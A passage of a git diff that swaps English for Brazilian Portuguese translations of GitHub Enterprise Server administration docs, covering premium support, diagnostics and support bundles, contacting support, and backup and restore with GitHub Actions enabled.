-  - Written support, in English, through our support portal 24 hours per day, 7 days per week
-  - Phone support, in English, 24 hours per day, 7 days per week
-  - A Service Level Agreement (SLA) with guaranteed initial response times
-  - Access to premium content
-  - Scheduled health checks
-  - Managed services
+Além de todos os benefícios do {% data variables.contact.enterprise_support %}, o {% data variables.contact.premium_support %} oferece:
+  - Suporte gravado, em inglês, por meio do nosso portal de suporte 24 horas por dia, 7 dais por semana
+  - Suporte por telefone, em inglês, 24 horas por dias, 7 dias por semana
+  - Um Contrato de nível de serviço (SLA, Service Level Agreement) com tempos de resposta inicial garantidos
+  - Acesso a conteúdo premium
+  - Verificação de integridade agendadas
+  - Serviços gerenciados
 
 {% data reusables.support.about-premium-plans %}
 
@@ -44,25 +45,25 @@ In addition to all of the benefits of {% data variables.contact.enterprise_suppo
 
 {% data reusables.support.contacting-premium-support %}
 
-## Hours of operation
+## Horas de operação
 
-{% data variables.contact.premium_support %} is available 24 hours a day, 7 days per week.  If you purchased {% data variables.contact.premium_support %} prior to September 17, 2018, support is limited during holidays. For more information on holidays {% data variables.contact.premium_support %} observes, see the holiday schedule at "[About {% data variables.contact.github_support %}](/enterprise/admin/guides/enterprise-support/about-github-enterprise-support)."
+O {% data variables.contact.premium_support %} está disponível 24 horas por dia, 7 dias por semana.  Se a sua compra do {% data variables.contact.premium_support %} foi feita antes de 17 de setembro de 2018, o suporte é limitado nos feriados. Para obter mais informações sobre os feriados do {% data variables.contact.premium_support %}, consulte o calendário em "[Sobre o {% data variables.contact.github_support %}](/enterprise/admin/guides/enterprise-support/about-github-enterprise-support)".
 
 {% data reusables.support.service-level-agreement-response-times %}
 
 {% data reusables.enterprise_enterprise_support.installing-releases %}
 
-You must install the minimum supported version of {% data variables.product.prodname_ghe_server %} pursuant to the Supported Releases section of your applicable license agreement within 90 days of placing an order for {% data variables.contact.premium_support %}.
+Você deve instalar a versão mínima compatível do {% data variables.product.prodname_ghe_server %} conforme a seção Versões compatíveis do seu contrato de licença em até 90 dias após o pedido do {% data variables.contact.premium_support %}.
 
-## Assigning a priority to a support ticket
+## Atribuindo uma prioridade a um tíquete de suporte
 
-When you contact {% data variables.contact.premium_support %}, you can choose one of four priorities for the ticket: {% data variables.product.support_ticket_priority_urgent %}, {% data variables.product.support_ticket_priority_high %}, {% data variables.product.support_ticket_priority_normal %}, or {% data variables.product.support_ticket_priority_low %}.
+Ao entrar em contato com {% data variables.contact.premium_support %}, você pode escolher uma das quatro prioridades para o tíquete: {% data variables.product.support_ticket_priority_urgent %}, {% data variables.product.support_ticket_priority_high %}, {% data variables.product.support_ticket_priority_normal %} ou {% data variables.product.support_ticket_priority_low %}.
 
 {% data reusables.support.github-can-modify-ticket-priority %}
 
 {% data reusables.support.ghes-priorities %}
 
-## Resolving and closing support tickets
+## Resolução e fechamento de tíquete de suporte
 
 {% data reusables.support.premium-resolving-and-closing-tickets %}
 
diff --git a/translations/pt-BR/content/admin/enterprise-support/receiving-help-from-github-support/index.md b/translations/pt-BR/content/admin/enterprise-support/receiving-help-from-github-support/index.md
index 68f0cb423b..1e8f19e77e 100644
--- a/translations/pt-BR/content/admin/enterprise-support/receiving-help-from-github-support/index.md
+++ b/translations/pt-BR/content/admin/enterprise-support/receiving-help-from-github-support/index.md
@@ -1,6 +1,6 @@
 ---
-title: Receiving help from GitHub Support
-intro: 'You can contact {% data variables.contact.enterprise_support %} to report a range of issues for your enterprise.'
+title: Receber ajuda do Suporte do GitHub
+intro: 'Você pode entrar em contato com {% data variables.contact.enterprise_support %} para relatar uma série de problemas referentes à sua empresa.'
 redirect_from:
   - /enterprise/admin/guides/enterprise-support/receiving-help-from-github-enterprise-support
   - /enterprise/admin/enterprise-support/receiving-help-from-github-support
@@ -14,6 +14,6 @@ children:
   - /preparing-to-submit-a-ticket
   - /submitting-a-ticket
   - /providing-data-to-github-support
-shortTitle: Receive help from Support
+shortTitle: Receber ajuda do Suporte
 ---
 
diff --git a/translations/pt-BR/content/admin/enterprise-support/receiving-help-from-github-support/providing-data-to-github-support.md b/translations/pt-BR/content/admin/enterprise-support/receiving-help-from-github-support/providing-data-to-github-support.md
index 66c4f8ca9d..c00e2ef680 100644
--- a/translations/pt-BR/content/admin/enterprise-support/receiving-help-from-github-support/providing-data-to-github-support.md
+++ b/translations/pt-BR/content/admin/enterprise-support/receiving-help-from-github-support/providing-data-to-github-support.md
@@ -1,6 +1,6 @@
 ---
-title: Providing data to GitHub Support
-intro: 'Since {% data variables.contact.github_support %} doesn''t have access to your environment, we require some additional information from you.'
+title: Enviar dados ao suporte do GitHub
+intro: 'Como o {% data variables.contact.github_support %} não tem acesso ao seu ambiente, precisamos que você nos envie algumas informações adicionais.'
 redirect_from:
   - /enterprise/admin/guides/installation/troubleshooting
   - /enterprise/admin/articles/support-bundles
@@ -13,148 +13,145 @@ type: how_to
 topics:
   - Enterprise
   - Support
-shortTitle: Provide data to Support
+shortTitle: Fornecer dados para o suporte
 ---
-## Creating and sharing diagnostic files
 
-Diagnostics are an overview of a {% data variables.product.prodname_ghe_server %} instance's settings and environment that contains:
+## Criar e compartilhar arquivos de diagnóstico
 
-- Client license information, including company name, expiration date, and number of user licenses
-- Version numbers and SHAs
-- VM architecture
-- Host name, private mode, SSL settings
-- Load and process listings
-- Network settings
-- Authentication method and details
-- Number of repositories, users, and other installation data
+Os diagnósticos são uma visão geral das configurações e do ambiente de uma instância do {% data variables.product.prodname_ghe_server %}. Os diagnósticos contêm:
 
-You can download the diagnostics for your instance from the {% data variables.enterprise.management_console %} or by running the `ghe-diagnostics` command-line utility.
+- Informações da licença do cliente, incluindo o nome da empresa, data de validade e número de licenças de usuário
+- Números de versão e SHAs;
+- Arquitetura de VMs;
+- Nome de host, modo privado, configurações de SSL;
+- Listagens de carga e processo;
+- Configurações de rede;
+- Método e detalhes de autenticação;
+- Número de repositórios, usuários e outros dados de instalação.
 
-### Creating a diagnostic file from the {% data variables.enterprise.management_console %}
+Você pode baixar o diagnóstico da sua instância no {% data variables.enterprise.management_console %} ou executando o utilitário da linha de comando `ghe-diagnostics`.
 
-You can use this method if you don't have your SSH key readily available.
+### Criar um arquivo de diagnóstico no {% data variables.enterprise.management_console %}
+
+Você pode usar esse método se não tiver sua chave SSH disponível no momento.
 
 {% data reusables.enterprise_site_admin_settings.access-settings %}
 {% data reusables.enterprise_site_admin_settings.management-console %}
 {% data reusables.enterprise_management_console.type-management-console-password %}
 {% data reusables.enterprise_management_console.support-link %}
-5. Click **Download diagnostics info**.
+5. Clique em **Download diagnostics info** (Baixar informações de diagnóstico).
 
-### Creating a diagnostic file using SSH
+### Criar um arquivo de diagnóstico usando SSH
 
-You can use this method without signing into the {% data variables.enterprise.management_console %}.
+Você pode usar esse método sem entrar no {% data variables.enterprise.management_console %}.
 
-Use the [ghe-diagnostics](/enterprise/{{ currentVersion }}/admin/guides/installation/command-line-utilities#ghe-diagnostics) command-line utility to retrieve the diagnostics for your instance.
+Use o utilitário da linha de comando [ghe-diagnostics](/enterprise/{{ currentVersion }}/admin/guides/installation/command-line-utilities#ghe-diagnostics) para recuperar o diagnóstico da sua instância.
 
 ```shell
 $ ssh -p122 admin@<em>hostname</em> -- 'ghe-diagnostics' > diagnostics.txt
 ```
 
-## Creating and sharing support bundles
+## Criar e compartilhar pacotes de suporte
 
-After you submit your support request, we may ask you to share a support bundle with our team. The support bundle is a gzip-compressed tar archive that includes diagnostics and important logs from your instance, such as:
+Depois do envio da sua solicitação de suporte, podemos pedir que você compartilhe um pacote de suporte com a nossa equipe. O pacote de suporte é um arquivo tar compactado com gzip que inclui diagnósticos e logs importantes da sua instância, como:
 
-- Authentication-related logs that may be helpful when troubleshooting authentication errors, or configuring LDAP, CAS, or SAML
-- {% data variables.enterprise.management_console %} log
-- `github-logs/exceptions.log`: Information about 500 errors encountered on the site
-- `github-logs/audit.log`: {% data variables.product.prodname_ghe_server %} audit logs
-- `babeld-logs/babeld.log`: Git proxy logs
-- `system-logs/haproxy.log`: HAProxy logs
-- `elasticsearch-logs/github-enterprise.log`: Elasticsearch logs
-- `configuration-logs/ghe-config.log`: {% data variables.product.prodname_ghe_server %} configuration logs
-- `collectd/logs/collectd.log`: Collectd logs
-- `mail-logs/mail.log`: SMTP email delivery logs
+- Logs relacionados à autenticação que podem ser úteis na solução de problemas de erros de autenticação, ou na configuração de LDAP, CAS ou SAML;
+- Log do {% data variables.enterprise.management_console %};
+- `github-logs/exceptions.log`: informações sobre 500 erros encontrados no site;
+- `github-logs/audit.log`: logs de auditoria do {% data variables.product.prodname_ghe_server %};
+- `babeld-logs/babeld.log`: logs de proxy do Git;
+- `system-logs/haproxy.log`: logs de HAProxy;
+- `elasticsearch-logs/github-enterprise.log`: logs de ElasticSearch;
+- `configuration-logs/ghe-config.log`: logs de configuração do {% data variables.product.prodname_ghe_server %};
+- `collectd/logs/collectd.log`: logs coletados;
+- `mail-logs/mail.log`: logs de entrega de e-mail por SMTP;
 
-For more information, see "[Audit logging](/enterprise/{{ currentVersion }}/admin/guides/installation/audit-logging)."
+Para obter mais informações, consulte "[Gerar logs de auditoria](/enterprise/{{ currentVersion }}/admin/guides/installation/audit-logging)".
 
-Support bundles include logs from the past two days. To get logs from the past seven days, you can download an extended support bundle. For more information, see "[Creating and sharing extended support bundles](#creating-and-sharing-extended-support-bundles)."
+Os pacotes de suporte incluem logs dos últimos dois dias. Para obter logs dos últimos sete dias, você pode baixar um pacote de suporte estendido. Para obter mais informações, consulte "[Criar e compartilhar pacotes de suporte estendidos](#creating-and-sharing-extended-support-bundles)".
 
 {% tip %}
 
-**Tip:** When you contact {% data variables.contact.github_support %}, you'll be sent a confirmation email that will contain a ticket reference link. If {% data variables.contact.github_support %} asks you to upload a support bundle, you can use the ticket reference link to upload the support bundle.
+**Dica:** ao entrar em contato com o {% data variables.contact.github_support %}, você receberá um e-mail de confirmação com um link de referência do tíquete. Se o {% data variables.contact.github_support %} solicitar o upload de um pacote de suporte, você pode usar o link de referência do tíquete para fazer o upload requisitado.
 
 {% endtip %}
 
-### Creating a support bundle from the {% data variables.enterprise.management_console %}
+### Criar um pacote de suporte no {% data variables.enterprise.management_console %}
 
-You can use these steps to create and share a support bundle if you can access the web-based {% data variables.enterprise.management_console %} and have outbound internet access.
+Você pode usar essas etapas para criar e compartilhar um pacote de suporte se conseguir acessar o {% data variables.enterprise.management_console %} e se tiver acesso à internet.
 
 {% data reusables.enterprise_site_admin_settings.access-settings %}
 {% data reusables.enterprise_site_admin_settings.management-console %}
 {% data reusables.enterprise_management_console.type-management-console-password %}
 {% data reusables.enterprise_management_console.support-link %}
-5. Click **Download support bundle**.
+5. Clique em **Download support bundle** (Baixar pacote de suporte).
 {% data reusables.enterprise_enterprise_support.sign-in-to-support %}
 {% data reusables.enterprise_enterprise_support.upload-support-bundle %}
 
-### Creating a support bundle using SSH
+### Criar um pacote de suporte usando SSH
 
-You can use these steps to create and share a support bundle if you have SSH access to {% data variables.product.product_location %} and have outbound internet access.
+Você pode usar esses passos para criar e compartilhar um pacote de suporte se você tiver acesso de SSH ao {% data variables.product.product_location %} e tiver acesso à internet de saída.
 
 {% data reusables.enterprise_enterprise_support.use_ghe_cluster_support_bundle %}
 
-1. Download the support bundle via SSH:
+1. Baixe o pacote de suporte via SSH:
   ```shell
   $ ssh -p 122 admin@<em>hostname</em> -- 'ghe-support-bundle -o' > support-bundle.tgz
   ```
-  For more information about the `ghe-support-bundle` command, see "[Command-line utilities](/enterprise/admin/guides/installation/command-line-utilities#ghe-support-bundle)".
+  Para obter mais informações sobre o comando `ghe-support-bundle`, consulte "[Utilitários da linha de comando](/enterprise/admin/guides/installation/command-line-utilities#ghe-support-bundle)".
 {% data reusables.enterprise_enterprise_support.sign-in-to-support %}
 {% data reusables.enterprise_enterprise_support.upload-support-bundle %}
 
-### Uploading a support bundle using your enterprise account
+### Carregar um pacote de suporte usando sua conta corporativa
 
 {% data reusables.enterprise-accounts.access-enterprise-on-dotcom %}
 {% data reusables.enterprise-accounts.settings-tab %}
-3. In the left sidebar, click **Enterprise licensing**.
-  !["Enterprise licensing" tab in the enterprise account settings sidebar](/assets/images/help/enterprises/enterprise-licensing-tab.png)
-4. Under "{% data variables.product.prodname_enterprise %} Help", click **Upload a support bundle**.
-  ![Upload a support bundle link](/assets/images/enterprise/support/upload-support-bundle.png)
-5. Under "Select an enterprise account", select the support bundle's associated account from the drop-down menu.
-  ![Choose the support bundle's enterprise account](/assets/images/enterprise/support/support-bundle-account.png)
-6. Under "Upload a support bundle for {% data variables.contact.enterprise_support %}", to select your support bundle, click **Choose file**, or drag your support bundle file onto **Choose file**.
-  ![Upload support bundle file](/assets/images/enterprise/support/choose-support-bundle-file.png)
-7. Click **Upload**.
+3. Na barra lateral esquerda, clique em **Enterprise licensing** (Licenciamento Empresarial). ![Aba "Licenciamento empresarial" na barra lateral de configurações da conta corporativa](/assets/images/help/enterprises/enterprise-licensing-tab.png)
+4. Em "Ajuda de {% data variables.product.prodname_enterprise %}", clique em **Fazer upload de um pacote de suporte**. ![Fazer upload de um link para pacote de suporte](/assets/images/enterprise/support/upload-support-bundle.png)
+5. Em "Selecione uma conta corporativa", selecione a conta associada ao pacote de suporte no menu suspenso. ![Escolher a conta corporativa do pacote de suporte](/assets/images/enterprise/support/support-bundle-account.png)
+6. Em "Fazer upload de um pacote de suporte para {% data variables.contact.enterprise_support %}", selecione seu pacote de suporte, clique **Escolher arquivo** ou arraste seu arquivo de pacote de suporte para **Escolher arquivo**. ![Fazer upload de um arquivo para pacote de suporte](/assets/images/enterprise/support/choose-support-bundle-file.png)
+7. Clique em **Fazer upload**.
 
-### Uploading a support bundle directly using SSH
+### Fazer upload de um pacote de suporte usando SSH
 
-You can directly upload a support bundle to our server if:
-- You have SSH access to {% data variables.product.product_location %}.
-- Outbound HTTPS connections over TCP port 443 are allowed from {% data variables.product.product_location %} to _enterprise-bundles.github.com_ and _esbtoolsproduction.blob.core.windows.net_.
+Você pode fazer upload diretamente de um pacote de suporte para o nosso servidor nas seguintes situações:
+- Você tem acesso de SSH a {% data variables.product.product_location %}.
+- São permitidas conexões HTTPS de saída sobre a por meio da porta TCP 443 de {% data variables.product.product_location %} para _enterprise-bundles.github.com_ e _esbtoolsproduction.blob.core.windows.net_.
 
-1. Upload the bundle to our support bundle server:
+1. Faça upload do pacote para o nosso servidor de pacotes de suporte:
   ```shell
   $ ssh -p122 admin@<em>hostname</em> -- 'ghe-support-bundle -u'
   ```
 
-## Creating and sharing extended support bundles
+## Criar e compartilhar pacotes de suporte estendidos
 
-Support bundles include logs from the past two days, while _extended_ support bundles include logs from the past seven days. If the events that {% data variables.contact.github_support %} is investigating occurred more than two days ago, we may ask you to share an extended support bundle. You will need SSH access to download an extended bundle - you cannot download an extended bundle from the {% data variables.enterprise.management_console %}.
+Os pacotes de suporte incluem logs dos últimos dois dias, enquanto os pacotes de suporte _estendidos_ incluem logs dos últimos sete dias. Se os eventos que o {% data variables.contact.github_support %} está investigando tiverem ocorrido há mais de dois dias, poderemos solicitar que você compartilhe um pacote de suporte estendido. Você precisará do acesso SSH para baixar um pacote estendido, e não é possível fazer o download de um pacote estendido no {% data variables.enterprise.management_console %}.
 
-To prevent bundles from becoming too large, bundles only contain logs that haven't been rotated and compressed. Log rotation on {% data variables.product.prodname_ghe_server %} happens at various frequencies (daily or weekly) for different log files, depending on how large we expect the logs to be.
+Para evitar que fiquem grandes demais, os pacotes só têm logs que não passaram por rotação nem compactação. A rotação de arquivos de registro no {% data variables.product.prodname_ghe_server %} acontece em várias frequências (diária ou semanalmente) para diferentes arquivos, dependendo das expectativas de tamanho dos registros.
 
-### Creating an extended support bundle using SSH
+### Criar um pacote de suporte estendido usando SSH
 
-You can use these steps to create and share an extended support bundle if you have SSH access to {% data variables.product.product_location %} and you have outbound internet access.
+Você pode usar essas etapas para criar e compartilhar um pacote de suporte estendido se você tiver acesso de SSH ao {% data variables.product.product_location %} e tiver acesso à internet de saída.
 
-1. Download the extended support bundle via SSH by adding the `-x` flag to the `ghe-support-bundle` command:
+1. Baixe o pacote de suporte estendido via SSH adicionando o sinalizador `-x` ao comando `ghe-support-bundle`:
   ```shell
   $ ssh -p 122 admin@<em>hostname</em> -- 'ghe-support-bundle -o -x' > support-bundle.tgz
   ```
 {% data reusables.enterprise_enterprise_support.sign-in-to-support %}
 {% data reusables.enterprise_enterprise_support.upload-support-bundle %}
 
-### Uploading an extended support bundle directly using SSH
+### Fazer upload de um pacote de suporte estendido usando SSH
 
-You can directly upload a support bundle to our server if:
-- You have SSH access to {% data variables.product.product_location %}.
-- Outbound HTTPS connections over TCP port 443 are allowed from {% data variables.product.product_location %} to _enterprise-bundles.github.com_ and _esbtoolsproduction.blob.core.windows.net_.
+Você pode fazer upload diretamente de um pacote de suporte para o nosso servidor nas seguintes situações:
+- Você tem acesso de SSH a {% data variables.product.product_location %}.
+- São permitidas conexões HTTPS de saída sobre a por meio da porta TCP 443 de {% data variables.product.product_location %} para _enterprise-bundles.github.com_ e _esbtoolsproduction.blob.core.windows.net_.
 
-1. Upload the bundle to our support bundle server:
+1. Faça upload do pacote para o nosso servidor de pacotes de suporte:
   ```shell
   $ ssh -p122 admin@<em>hostname</em> -- 'ghe-support-bundle -u -x'
   ```
 
-## Further reading
+## Leia mais
 
-- "[About {% data variables.contact.enterprise_support %}](/enterprise/admin/guides/enterprise-support/about-github-enterprise-support)"
-- "[About {% data variables.contact.premium_support %} for {% data variables.product.prodname_ghe_server %}](/enterprise/admin/guides/enterprise-support/about-github-premium-support-for-github-enterprise-server)."
+- [Sobre o {% data variables.contact.enterprise_support %}](/enterprise/admin/guides/enterprise-support/about-github-enterprise-support)
+- [Sobre o {% data variables.contact.premium_support %} para {% data variables.product.prodname_ghe_server %}](/enterprise/admin/guides/enterprise-support/about-github-premium-support-for-github-enterprise-server).
diff --git a/translations/pt-BR/content/admin/enterprise-support/receiving-help-from-github-support/reaching-github-support.md b/translations/pt-BR/content/admin/enterprise-support/receiving-help-from-github-support/reaching-github-support.md
index 9e60d8c73a..cda8edf89a 100644
--- a/translations/pt-BR/content/admin/enterprise-support/receiving-help-from-github-support/reaching-github-support.md
+++ b/translations/pt-BR/content/admin/enterprise-support/receiving-help-from-github-support/reaching-github-support.md
@@ -1,6 +1,6 @@
 ---
-title: Reaching GitHub Support
-intro: 'Contact {% data variables.contact.enterprise_support %} using the {% ifversion ghes %}{% data variables.product.prodname_ghe_server %} {% data variables.enterprise.management_console %} or{% endif %} the support portal.'
+title: Entrar em contato com o suporte do GitHub
+intro: 'Entre em contato com {% data variables.contact.enterprise_support %} usando o {% ifversion ghes %}{% data variables.product.prodname_ghe_server %} {% data variables.enterprise.management_console %} ou{% endif %} o portal de suporte.'
 redirect_from:
   - /enterprise/admin/guides/enterprise-support/reaching-github-enterprise-support
   - /enterprise/admin/enterprise-support/reaching-github-support
@@ -12,47 +12,48 @@ topics:
   - Enterprise
   - Support
 ---
-## Using automated ticketing systems
 
-Though we'll do our best to respond to automated support requests, we typically need more information than an automated ticketing system can give us to solve your issue. Whenever possible, please initiate support requests from a person or machine that {% data variables.contact.enterprise_support %} can interact with. For more information, see "[Preparing to submit a ticket](/enterprise/admin/guides/enterprise-support/preparing-to-submit-a-ticket)."
+## Usar sistemas automatizados de geração de tíquetes
 
-## Contacting {% data variables.contact.enterprise_support %}
+Embora a nossa equipe de suporte faça o melhor para responder às solicitações automatizadas, resolver o problema costuma exigir mais informações do que o sistema automatizado de geração de tíquetes pode nos dar. Sempre que possível, inicie as solicitações de suporte com uma pessoa ou máquina com quem o {% data variables.contact.enterprise_support %} consiga interagir. Para obter mais informações, consulte "[Preparar para enviar um tíquete](/enterprise/admin/guides/enterprise-support/preparing-to-submit-a-ticket)".
+
+## Entrar em contato com o {% data variables.contact.enterprise_support %}
 
 {% data reusables.support.zendesk-old-tickets %}
 
-{% data variables.contact.enterprise_support %} customers can open a support ticket using the {% ifversion ghes %}{% data variables.product.prodname_ghe_server %} {% data variables.enterprise.management_console %} or the {% data variables.contact.contact_enterprise_portal %}{% elsif ghae %} the {% data variables.contact.contact_ae_portal %}{% endif %}. For more information, see "[Submitting a ticket](/enterprise/admin/guides/enterprise-support/submitting-a-ticket)."
+Os clientes de {% data variables.contact.enterprise_support %} podem abrir um tíquete de suporte usando o {% ifversion ghes %}{% data variables.product.prodname_ghe_server %} {% data variables.enterprise.management_console %} ou o {% data variables.contact.contact_enterprise_portal %}{% elsif ghae %} o {% data variables.contact.contact_ae_portal %}{% endif %}. Para obter mais informações, consulte "[Enviar um tíquete](/enterprise/admin/guides/enterprise-support/submitting-a-ticket)".
 
 {% ifversion ghes %}
 
-## Contacting {% data variables.contact.premium_support %}
+## Entrar em contato com o {% data variables.contact.premium_support %}
 
-{% data variables.contact.enterprise_support %} customers can open a support ticket using the {% data variables.product.prodname_ghe_server %} {% data variables.enterprise.management_console %} or the {% data variables.contact.contact_enterprise_portal %}. Mark its priority as {% data variables.product.support_ticket_priority_urgent %}, {% data variables.product.support_ticket_priority_high %}, {% data variables.product.support_ticket_priority_normal %}, or {% data variables.product.support_ticket_priority_low %}. For more information, see "[Assigning a priority to a support ticket](/enterprise/admin/guides/enterprise-support/about-github-premium-support-for-github-enterprise-server#assigning-a-priority-to-a-support-ticket)" and "[Submitting a ticket](/enterprise/admin/guides/enterprise-support/submitting-a-ticket)."
+Os clientes do {% data variables.contact.enterprise_support %} podem abrir um tíquete de suporte usando o {% data variables.product.prodname_ghe_server %} {% data variables.enterprise.management_console %} ou o {% data variables.contact.contact_enterprise_portal %}. Marque sua prioridade como {% data variables.product.support_ticket_priority_urgent %}, {% data variables.product.support_ticket_priority_high %}, {% data variables.product.support_ticket_priority_normal %} ou {% data variables.product.support_ticket_priority_low %}. Para obter mais informações, consulte "[Atribuir uma prioridade a um tíquete de suporte](/enterprise/admin/guides/enterprise-support/about-github-premium-support-for-github-enterprise-server#assigning-a-priority-to-a-support-ticket)" e "[Enviar um tíquete](/enterprise/admin/guides/enterprise-support/submitting-a-ticket)".
 
-### Viewing past support tickets
+### Exibir tíquetes de suporte antigos
 
-You can use the {% data variables.contact.enterprise_portal %} to view past support tickets.
+É possível usar o {% data variables.contact.enterprise_portal %} para exibir tíquetes de suporte antigos.
 
-1. Navigate to the {% data variables.contact.contact_enterprise_portal %}.
-2. Click **My tickets**.
+1. Navegue até o {% data variables.contact.contact_enterprise_portal %}.
+2. Clique em **Meus tíquetes**.
 
 {% endif %}
-## Contacting sales
+## Entrar em contato com o departamento de vendas
 
-For pricing, licensing, renewals, quotes, payments, and other related questions, contact {% data variables.contact.contact_enterprise_sales %} or call [+1 (877) 448-4820](tel:+1-877-448-4820).
+Para preços , licenças, renovações, cotações, pagamentos e outras questões relacionadas, entre em contato com {% data variables.contact.contact_enterprise_sales %} ou ligue para [+1 (877) 448-4820](tel:+1-877-448-4820).
 
 {% ifversion ghes %}
-## Contacting training
+## Entrar em contato com o departamento de treinamento
 
-To learn more about training options, including customized trainings, see [{% data variables.product.company_short %}'s training site](https://services.github.com/).
+Para saber mais sobre as opções de treinamento, inclusive treinamentos personalizados, consulte o site de treinamento do [{% data variables.product.company_short %}](https://services.github.com/).
 
 {% note %}
 
-**Note:** Training is included in the {% data variables.product.premium_plus_support_plan %}. For more information, see "[About {% data variables.contact.premium_support %} for {% data variables.product.prodname_ghe_server %}](/enterprise/admin/guides/enterprise-support/about-github-premium-support-for-github-enterprise-server)."
+**Observação:** o {% data variables.product.premium_plus_support_plan %} inclui treinamento. Para obter mais informações, consulte a seção "[Sobre o {% data variables.contact.premium_support %} para {% data variables.product.prodname_ghe_server %}](/enterprise/admin/guides/enterprise-support/about-github-premium-support-for-github-enterprise-server)".
 
 {% endnote %}
 {% endif %}
 
-## Further reading
+## Leia mais
 
-- "[About {% data variables.contact.enterprise_support %}](/enterprise/admin/guides/enterprise-support/about-github-enterprise-support)"
-- "[About {% data variables.contact.premium_support %} for {% data variables.product.prodname_ghe_server %}](/enterprise/admin/guides/enterprise-support/about-github-premium-support-for-github-enterprise-server)."
+- [Sobre o {% data variables.contact.enterprise_support %}](/enterprise/admin/guides/enterprise-support/about-github-enterprise-support)
+- [Sobre o {% data variables.contact.premium_support %} para {% data variables.product.prodname_ghe_server %}](/enterprise/admin/guides/enterprise-support/about-github-premium-support-for-github-enterprise-server).
diff --git a/translations/pt-BR/content/admin/github-actions/advanced-configuration-and-troubleshooting/backing-up-and-restoring-github-enterprise-server-with-github-actions-enabled.md b/translations/pt-BR/content/admin/github-actions/advanced-configuration-and-troubleshooting/backing-up-and-restoring-github-enterprise-server-with-github-actions-enabled.md
index 203f3fa1fb..702a26ce94 100644
--- a/translations/pt-BR/content/admin/github-actions/advanced-configuration-and-troubleshooting/backing-up-and-restoring-github-enterprise-server-with-github-actions-enabled.md
+++ b/translations/pt-BR/content/admin/github-actions/advanced-configuration-and-troubleshooting/backing-up-and-restoring-github-enterprise-server-with-github-actions-enabled.md
@@ -1,7 +1,7 @@
 ---
-title: Backing up and restoring GitHub Enterprise Server with GitHub Actions enabled
-shortTitle: Backing up and restoring
-intro: '{% data variables.product.prodname_actions %} data on your external storage provider is not included in regular {% data variables.product.prodname_ghe_server %} backups, and must be backed up separately.'
+title: Fazer backup e restaurar o GitHub Enterprise Server com o GitHub Actions habilitado
+shortTitle: Backup e restauração
+intro: 'Os dados de {% data variables.product.prodname_actions %} no seu provedor de armazenamento externo não estão incluídos em backups regulares de {% data variables.product.prodname_ghe_server %} e precisam ser salvos separadamente.'
 versions:
   ghes: '*'
 type: how_to
@@ -13,17 +13,18 @@ topics:
 redirect_from:
   - /admin/github-actions/backing-up-and-restoring-github-enterprise-server-with-github-actions-enabled
 ---
+
 {% data reusables.actions.enterprise-storage-ha-backups %}
 
-If you use {% data variables.product.prodname_enterprise_backup_utilities %} to back up {% data variables.product.product_location %}, it's important to note that {% data variables.product.prodname_actions %} data stored on your external storage provider is not included in the backup.
+Se você usar {% data variables.product.prodname_enterprise_backup_utilities %} para fazer backup de {% data variables.product.product_location %}, é importante observar que os dados de {% data variables.product.prodname_actions %} armazenados no seu provedor de armazenamento externo não serão incluídos no backup.
 
-This is an overview of the steps required to restore {% data variables.product.product_location %} with {% data variables.product.prodname_actions %} to a new appliance:
+Esta é uma visão geral das etapas necessárias para restaurar {% data variables.product.product_location %} com {% data variables.product.prodname_actions %} para um novo dispositivo:
 
-1. Confirm that the original appliance is offline.
-1. Manually configure network settings on the replacement {% data variables.product.prodname_ghe_server %} appliance. Network settings are excluded from the backup snapshot, and are not overwritten by `ghe-restore`.
-1. To configure the replacement appliance to use the same {% data variables.product.prodname_actions %} external storage configuration as the original appliance, from the new appliance, set the required parameters with `ghe-config` command.
-    
-    - Azure Blob Storage
+1. Confirme se o dispositivo original está off-line.
+1. Defina manualmente as configurações de rede no dispositivo de {% data variables.product.prodname_ghe_server %}. As configurações de rede são excluídas do instantâneo de backup e não são substituídas por `ghe-restore`.
+1. Para configurar o appliance de substituição para usar a mesma configuração de armazenamento externo de {% data variables.product.prodname_actions %} que o appliance original, a partir do novo appliance, defina os parâmetros necessários com o comando `ghe-config`.
+
+    - Armazenamento do Azure Blob
     ```shell
     ghe-config secrets.actions.storage.blob-provider "azure"
     ghe-config secrets.actions.storage.azure.connection-string "_Connection_String_"
@@ -36,20 +37,20 @@ This is an overview of the steps required to restore {% data variables.product.p
     ghe-config secrets.actions.storage.s3.access-key-id "_S3_Access_Key_ID_"
     ghe-config secrets.actions.storage.s3.access-secret "_S3_Access_Secret_"
     ```
-    - Optionally, to enable S3 force path style, enter the following command:
+    - Opcionalmente, para habilitar o estilo de caminho S3, digite o comando a seguir:
     ```shell
     ghe-config secrets.actions.storage.s3.force-path-style true
     ```
-      
 
-1. Enable {% data variables.product.prodname_actions %} on the replacement appliance. This will connect the replacement appliance to the same  external storage for {% data variables.product.prodname_actions %}.
+
+1. Habilite {% data variables.product.prodname_actions %} no dispositivo de substituição. Isto conectará o dispositivo de substituição ao mesmo armazenamento externo para {% data variables.product.prodname_actions %}.
 
     ```shell
     ghe-config app.actions.enabled true
     ghe-config-apply
     ```
 
-1. After {% data variables.product.prodname_actions %} is configured and enabled, use the `ghe-restore` command to restore the rest of the data from the backup. For more information, see "[Restoring a backup](/admin/configuration/configuring-backups-on-your-appliance#restoring-a-backup)."
-1. Re-register your self-hosted runners on the replacement appliance. For more information, see [Adding self-hosted runners](/actions/hosting-your-own-runners/adding-self-hosted-runners).
+1. Depois que {% data variables.product.prodname_actions %} estiver configurado e habilitado, use o comando `ghe-restore` para restaurar o restante dos dados do backup. Para obter mais informações, consulte "[Restaurar um backup](/admin/configuration/configuring-backups-on-your-appliance#restoring-a-backup)".
+1. Registre novamente seus executores auto-hospedados no dispositivo de substituição. Para obter mais informações, consulte [Adicionar executores auto-hospedados](/actions/hosting-your-own-runners/adding-self-hosted-runners).
 
-For more information on backing up and restoring {% data variables.product.prodname_ghe_server %}, see "[Configuring backups on your appliance](/admin/configuration/configuring-backups-on-your-appliance)."
+Para obter mais informações sobre backup e restauração de {% data variables.product.prodname_ghe_server %}, consulte "[Configurar backups no seu dispositivo](/admin/configuration/configuring-backups-on-your-appliance)".
diff --git a/translations/pt-BR/content/admin/github-actions/enabling-github-actions-for-github-enterprise-server/index.md b/translations/pt-BR/content/admin/github-actions/enabling-github-actions-for-github-enterprise-server/index.md
index ee0f477635..3800e52d05 100644
--- a/translations/pt-BR/content/admin/github-actions/enabling-github-actions-for-github-enterprise-server/index.md
+++ b/translations/pt-BR/content/admin/github-actions/enabling-github-actions-for-github-enterprise-server/index.md
@@ -1,6 +1,6 @@
 ---
-title: Enabling GitHub Actions for GitHub Enterprise Server
